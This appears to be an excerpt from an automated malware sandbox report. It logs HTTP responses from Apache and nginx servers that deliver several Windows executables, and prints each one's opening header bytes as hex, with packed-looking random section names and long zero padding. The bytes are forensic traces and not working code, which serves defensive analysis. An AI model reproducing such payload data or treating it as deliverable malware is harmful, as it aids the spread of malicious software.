fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:31 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 23 Oct 2024 23:09:32 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:08 GMTContent-Type: application/octet-streamContent-Length: 2968064Last-Modified: Wed, 23 Oct 2024 22:45:34 GMTConnection: keep-aliveETag: "67197c8e-2d4a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 d0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 31 00 00 04 00 00 1a 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 70 65 79 68 6b 61 6c 00 c0 2a 00 00 00 06 00 00 b4 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 64 65 62 71 7a 7a 66 00 10 00 00 00 c0 30 00 00 04 00 00 00 24 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 30 00 00 22 00 00 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:16 GMTContent-Type: application/octet-streamContent-Length: 1809408Last-Modified: Wed, 23 Oct 2024 22:45:40 GMTConnection: keep-aliveETag: "67197c94-1b9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 68 00 00 04 00 00 e1 5d 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 69 73 64 63 61 74 61 00 40 19 00 00 f0 4e 00 00 3a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 7a 75 78 76 6b 70 00 10 00 00 00 30 68 00 00 04 00 00 00 76 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 68 00 00 22 00 00 00 7a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:24 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 23 Oct 2024 21:59:03 GMTConnection: keep-aliveETag: "671971a7-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9f 71 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 4b 82 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:30 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:10:45 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 23 Oct 2024 22:45:47 GMTConnection: keep-aliveETag: "67197c9b-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 8e 93 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 4f 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 4e 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 66 71 71 79 67 79 00 20 1a 00 00 30 32 00 00 20 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 65 66 6e 66 64 78 6e 00 10 00 00 00 50 4c 00 00 04 00 00 00 